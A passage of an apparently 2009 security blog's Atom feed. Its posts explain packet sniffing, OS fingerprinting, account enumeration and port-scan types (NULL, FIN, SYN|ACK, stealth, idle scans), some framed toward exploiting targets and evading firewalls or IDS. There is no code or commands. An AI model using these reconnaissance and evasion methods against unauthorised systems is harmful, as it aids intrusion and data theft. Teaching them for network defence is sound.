href="http://en.wikipedia.org/wiki/Iran%E2%80%93Contra_affair" target="_blank"&gt;&lt;span style="color:#000000;"&gt;Iran-Contra affair&lt;/span&gt;&lt;/a&gt; in which President Reagan’s secretary of defense, Caspar Weinberger, was convicted. A crucial piece of evidence was backup tapes of PROFS e-mail on a National Security Agency computer. The e-mail was not intercepted in transit, but in a typical networked system, it could have been. &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-1562056468015174551?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/1562056468015174551/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/sniffing-private-data.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1562056468015174551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1562056468015174551'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/sniffing-private-data.html' title='SNIFFING : Private Data'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-7205163705287885406</id><published>2009-07-11T02:24:00.000-07:00</published><updated>2009-08-02T12:52:08.990-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sniffers'/><title type='text'>SNIFFING : Financial Account Numbers</title><content type='html'>&lt;p&gt;&lt;/p&gt;&lt;div align="justify"&gt;Most users are uneasy about sending financial account numbers, such as credit card numbers and checking account numbers, over the Internet. The privacy of each user’s credit card numbers is important. &lt;/div&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;Presumably, businesses making electronic transactions are as fastidious about security, so the &lt;strong&gt;highest risk comes from the same local network in which the users are typing passwords&lt;/strong&gt;. &lt;br /&gt;&lt;br /&gt;However, much larger potential losses exist for businesses that conduct electronic funds transfer or electronic document interchange over a computer network. These transactions involve the &lt;strong&gt;transmission of account numbers that a sniffer could pick up&lt;/strong&gt;; the thief could then transfer funds into his or her own account or order goods paid for by a corporate account.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-7205163705287885406?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/7205163705287885406/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/sniffing-financial-account-numbers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7205163705287885406'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7205163705287885406'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/sniffing-financial-account-numbers.html' title='SNIFFING : Financial Account Numbers'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-1997797431573013217</id><published>2009-07-11T02:14:00.001-07:00</published><updated>2009-08-02T12:52:08.991-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sniffers'/><title type='text'>SNIFFING PASSWORDS</title><content type='html'>&lt;br /&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;Theft of passwords is the most disastrous thing that can happen to a company or a person. Typical users type a password at least once a day. Data is often thought of as secure because access to it requires a password. Users usually are very careful about guarding their password by not sharing it with anyone and not writing it down anywhere. &lt;/div&gt;&lt;p align="justify"&gt;&lt;/p&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;When the user types any of these passwords, the &lt;strong&gt;system sends each character in a password across the network&lt;/strong&gt;, which is &lt;strong&gt;extremely easy for any Ethernet sniffer to see&lt;/strong&gt;. End users do not realize just how easily these passwords can be found by someone using a simple and common piece of software.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-1997797431573013217?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/1997797431573013217/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/sniffing-passwords.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1997797431573013217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1997797431573013217'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/sniffing-passwords.html' title='SNIFFING PASSWORDS'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-4059940463275777537</id><published>2009-07-11T02:14:00.000-07:00</published><updated>2009-08-02T12:52:08.991-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sniffers'/><title type='text'>SNIFFING : HOW IT THREATENS SECURITY</title><content type='html'>&lt;div align="justify"&gt;Sniffing data from the network leads to loss of privacy of several kinds of information that should be private for a computer network to be secure. These kinds of information include the following: &lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="justify"&gt;&lt;a style="TEXT-DECORATION: none" href="http://swizardb.blogspot.com/2009/07/sniffing-passwords.html"&gt;&lt;span style="color:#000000;"&gt;Passwords&lt;/span&gt;&lt;/a&gt; &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;&lt;a style="TEXT-DECORATION: none" href="http://swizardb.blogspot.com/2009/07/sniffing-financial-account-numbers.html"&gt;&lt;span style="color:#000000;"&gt;Financial account numbers &lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;&lt;a style="TEXT-DECORATION: none" href="http://swizardb.blogspot.com/2009/07/sniffing-private-data.html"&gt;&lt;span style="color:#000000;"&gt;Private data &lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;&lt;a style="TEXT-DECORATION: none" href="http://swizardb.blogspot.com/2009/07/sniffing-low-level-protocol-information.html"&gt;&lt;span style="color:#000000;"&gt;Low-level protocol information&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-4059940463275777537?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/4059940463275777537/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/sniffing-how-it-threatens-security.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/4059940463275777537'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/4059940463275777537'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/sniffing-how-it-threatens-security.html' title='SNIFFING : HOW IT THREATENS SECURITY'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-4865973768128591331</id><published>2009-07-10T23:46:00.000-07:00</published><updated>2009-08-07T12:01:57.342-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sniffers'/><title type='text'>SNIFFER</title><content type='html'>&lt;div align="justify"&gt;&lt;strong&gt;SNIFFING&lt;/strong&gt; is the use of a network interface to receive data not intended for the machine in which the interface resides.&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="justify"&gt;Network analyzers or &lt;strong&gt;SNIFFERS&lt;/strong&gt; monitor network data. A sniffer is a piece of software that captures the traffic on a network.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;Sniffers usually act as network probes or "snoops" -- &lt;strong&gt;examining network traffic but NOT intercepting or altering it&lt;/strong&gt;.&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;Most sniffers work only with TCP/IP packets.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;A network analyzer or SNIFFER helps network administrators diagnose a variety of obscure problems that may not be visible on any one particular host. &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;A sniffer can be a self-contained software program or a hardware device with the appropriate software or firmware programming.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;&lt;a title="SNIFFER : HOW IT WORKS !?" href="http://swizardb.blogspot.com/2009/07/sniffing-how-it-works.html" style="text-decoration: none;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;strong&gt;SNIFFER : HOW IT WORKS !?&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;a style="color: rgb(0, 0, 0);" title="WIRESHARK" href="http://swizardb.blogspot.com/2009/08/wireshark.html"&gt;WIRESHARK&lt;/a&gt; is the most popular network sniffer.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p align="justify"&gt;Devices that incorporate sniffing are useful and necessary. However, their very existence implies that a malicious person could use such a device or modify an existing machine to snoop on network traffic. Sniffing programs could be used to gather passwords, read inter-machine e-mail, and examine client-server database records in transit. Besides these high-level data, low-level information might be used to mount an active attack on data in another computer system. For more information : &lt;a title="SNIFFING : HOW IT THREATENS SECURITY" style="text-decoration: none;" href="http://swizardb.blogspot.com/2009/07/sniffing-how-it-threatens-security.html"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;strong&gt;SNIFFING : HOW IT THREATENS SECURITY&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-4865973768128591331?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/4865973768128591331/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/sniffer.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/4865973768128591331'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/4865973768128591331'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/sniffer.html' title='SNIFFER'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-4887176549847112036</id><published>2009-07-09T04:27:00.000-07:00</published><updated>2009-08-26T04:13:09.098-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='System Enumeration'/><category scheme='http://www.blogger.com/atom/ns#' term='Operating System Detection'/><title type='text'>OPERATING SYSTEM (OS) DETECTION</title><content type='html'>&lt;div align="justify"&gt;&lt;strong&gt;Operating System detection is a technique to determine the Operating System running on the target PC, then exploit vulnerabilities associated with that Operating System.&lt;/strong&gt;&lt;br /&gt;&lt;div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Each company has its own way of implementing the TCP/IP stack, so it responds to certain scans in its unique way, which determines the OS.&lt;/li&gt;&lt;li&gt;An exact query sent to one OS will respond differently from the exact same query sent to different OS, usually allows us to enumerate information about the Operating System.&lt;/li&gt;&lt;li&gt;Some OSes run particular services on certain ports, so OS can be determined if these ports are open. Example : If ports 137, 138, 139, 445 are open on a system, it is Windows 2000&lt;/li&gt;&lt;/ul&gt;You have an idea how OS Detection works. Lets study OS DETECTION STRATEGIES in detail.&lt;br /&gt;&lt;br /&gt;TOOLS : &lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/nmap.html" title="NMAP"&gt;NMap&lt;/a&gt;, CHECKOS&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-4887176549847112036?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/4887176549847112036/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/operating-system-detection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/4887176549847112036'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/4887176549847112036'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/operating-system-detection.html' title='OPERATING SYSTEM (OS) DETECTION'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-5280323421702902462</id><published>2009-07-07T23:58:00.000-07:00</published><updated>2009-08-09T09:16:22.326-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='System Enumeration'/><title type='text'>NETWORK ENUMERATION</title><content type='html'>&lt;blockquote&gt;&lt;strong&gt;Enumeration helps identify a user account or system account for potential use in hacking the target system&lt;/strong&gt;. &lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="justify"&gt;It isn’t necessary to find a system administrator account, because most account privileges can be escalated to allow the account more access than was previously granted.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;Enumeration involves active connections to systems and directed queries.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;The type of information enumerated by intruders:&lt;br /&gt;* Network resources and shares&lt;br /&gt;* Users and groups&lt;br /&gt;* Applications and banners&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-5280323421702902462?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/5280323421702902462/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/enumeration.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5280323421702902462'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5280323421702902462'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/enumeration.html' title='NETWORK ENUMERATION'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-6996025018816457619</id><published>2009-07-06T04:48:00.000-07:00</published><updated>2009-08-02T12:51:06.738-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>NULL SCAN</title><content type='html'>&lt;div align="justify"&gt;The NULL scan unsets ALL flags available in the TCP header. ACK, FIN, RST, SYN, URG, PSH all become unassigned. &lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;If the port &lt;strong&gt;OPEN&lt;/strong&gt;.&lt;br /&gt;client -&gt; NULL (no flags)&lt;br /&gt;server -&gt; -&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;Alternatively, an RST packet will be returned if a &lt;strong&gt;CLOSED&lt;/strong&gt; port has been reached&lt;br /&gt;client -&gt; NULL (no flags)&lt;br /&gt;server -&gt; RST&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-6996025018816457619?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/6996025018816457619/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/null-scan_06.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6996025018816457619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6996025018816457619'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/null-scan_06.html' title='NULL SCAN'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-540631000066798119</id><published>2009-07-06T04:32:00.000-07:00</published><updated>2009-08-02T12:51:06.739-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>FIN Scan</title><content type='html'>This works very similar to the SYNACK scan, with inverse mapping used to determine open or closed ports. The basis is that closed ports are required to reply to the probe packet with an RST, while open ports must ignore the packets in question.&lt;br /&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;div align="justify"&gt;&lt;a href="http://3.bp.blogspot.com/_kgG57QalCyI/SlHizdZa5TI/AAAAAAAAAG4/8bDHTtW3lBY/s1600-h/sF_scan_open.gif"&gt;&lt;img style="WIDTH: 320px; HEIGHT: 116px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5355310805612684594" border="0" alt="" src="http://3.bp.blogspot.com/_kgG57QalCyI/SlHizdZa5TI/AAAAAAAAAG4/8bDHTtW3lBY/s320/sF_scan_open.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="justify"&gt;client -&gt; FIN&lt;/div&gt;&lt;div align="justify"&gt;server -&gt; -&lt;/div&gt;&lt;div align="justify"&gt;No  reply  signaled by  the  server is  iconic  of an  open  port. The  server'soperating system silently dropped the incoming FIN packet to the service running on that port. &lt;/div&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;div align="justify"&gt;&lt;a href="http://2.bp.blogspot.com/_kgG57QalCyI/SlHizWw9fPI/AAAAAAAAAGw/LeT3GdkRaaQ/s1600-h/sF_scan_closed.gif"&gt;&lt;img style="WIDTH: 320px; HEIGHT: 116px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5355310803832372466" border="0" alt="" src="http://2.bp.blogspot.com/_kgG57QalCyI/SlHizWw9fPI/AAAAAAAAAGw/LeT3GdkRaaQ/s320/sF_scan_closed.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="justify"&gt;Opposing this  is the RST reply by  the server upon a closed  port reached. Since, no service is bound on that port, issuing a FIN invokes a  reset(RST) response from the server.&lt;/div&gt;&lt;div align="justify"&gt;client -&gt; FIN&lt;/div&gt;&lt;div align="justify"&gt;server -&gt; RST&lt;/div&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;div align="justify"&gt;The scan attempts to exploit vulnerabilities in BSD code. Since most OS are based on BSD or derived from BSD, this was a scan that returned fairly good results. However, most OS have applied patches to correct the problem. However, there remains a possibility that the attacker may come across one where these patches have not been applied.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-540631000066798119?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/540631000066798119/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/fin-scan.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/540631000066798119'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/540631000066798119'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/fin-scan.html' title='FIN Scan'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kgG57QalCyI/SlHizdZa5TI/AAAAAAAAAG4/8bDHTtW3lBY/s72-c/sF_scan_open.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-2989999890878388782</id><published>2009-07-06T04:20:00.001-07:00</published><updated>2009-08-02T12:51:06.739-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>SYN | ACK Scan</title><content type='html'>&lt;div align="justify"&gt;&lt;span style="font-size:100%;"&gt;A SYN | ACK flagged bit sent to a closed port elicits a RST response, while an open port will not reply. This is because the TCP protocol requires a SYN flag to initiate the connection.&lt;br /&gt;This scan has a tendency to register fairly large false positives. For instance , packets dropped by filtering devices, network traffic, timeouts etc can given a wrong inference of an open port while the port may or may not be open.&lt;br /&gt;&lt;/span&gt;&lt;a href="http://1.bp.blogspot.com/_kgG57QalCyI/SlHeK_lKWeI/AAAAAAAAAGo/ptGldAhY3e0/s1600-h/syn.png"&gt;&lt;img style="WIDTH: 345px; HEIGHT: 127px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5355305712367589858" border="0" alt="" src="http://1.bp.blogspot.com/_kgG57QalCyI/SlHeK_lKWeI/AAAAAAAAAGo/ptGldAhY3e0/s320/syn.png" /&gt;&lt;/a&gt;&lt;br /&gt;The server ignores the SYN | ACK packet sent to an OPEN PORT.&lt;/div&gt;&lt;div align="justify"&gt;client -&gt; SYN | ACK&lt;br /&gt;server -&gt; - &lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Advantages : fast, avoids basic IDS/firewalls, avoids TCP three-way handshake&lt;br /&gt;Disadvantages: less reliable (false positives)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-2989999890878388782?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/2989999890878388782/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/syn-ack-scan.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2989999890878388782'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2989999890878388782'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/syn-ack-scan.html' title='SYN | ACK Scan'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_kgG57QalCyI/SlHeK_lKWeI/AAAAAAAAAGo/ptGldAhY3e0/s72-c/syn.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-4180753582077890977</id><published>2009-07-06T04:11:00.000-07:00</published><updated>2009-08-02T12:51:06.739-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>STEALTH SCANNING</title><content type='html'>&lt;div align="justify"&gt;The definition of a "stealth" scan has varied over recent years from what Chris Klaus, author of a paper titled "&lt;a href="http://textfiles.poboxes.info/webfiles/hacking/passivep.txt"&gt;&lt;span style="color:#000000;"&gt;Stealth Scanning: Bypassing Firewalls/SATAN Detectors&lt;/span&gt;&lt;/a&gt;" delineated. Originally the term was used to describe a technique that avoided IDS and logging, now know as "half-open" scanning.&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;However, nowadays stealth is considered to be any scan that is concerned with a few of the following:&lt;br /&gt;* setting individual flags (ACK, FIN, RST, .. )&lt;br /&gt;* NULL flags set&lt;br /&gt;* All flags set&lt;br /&gt;* bypassing filters, firewalls, routers&lt;br /&gt;* appearing as casual network traffic&lt;br /&gt;* varied packet dispersal rates &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-4180753582077890977?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/4180753582077890977/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/stealth-scanning.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/4180753582077890977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/4180753582077890977'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/stealth-scanning.html' title='STEALTH SCANNING'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-3355800934013470350</id><published>2009-07-06T02:41:00.000-07:00</published><updated>2009-08-27T00:55:09.309-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>IP ID Header or "DUMB" scanning</title><content type='html'>&lt;div align="justify"&gt;&lt;u&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;strong&gt;IP ID Header or "DUMB" scanning&lt;/strong&gt;&lt;/span&gt;&lt;/u&gt;&lt;/div&gt;&lt;div align="justify"&gt;ID header scanning technique was discovered by antirez, who described it's technical details in a &lt;a href="http://www.kyuzz.org/antirez/papers/dumbscan.html"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;post&lt;/span&gt;&lt;/a&gt; to bugtraq. Evidently the basis of this scans implementation is reflective on the SYN scan method, although involves a third party host to use as a dummy source.&lt;br /&gt;&lt;a 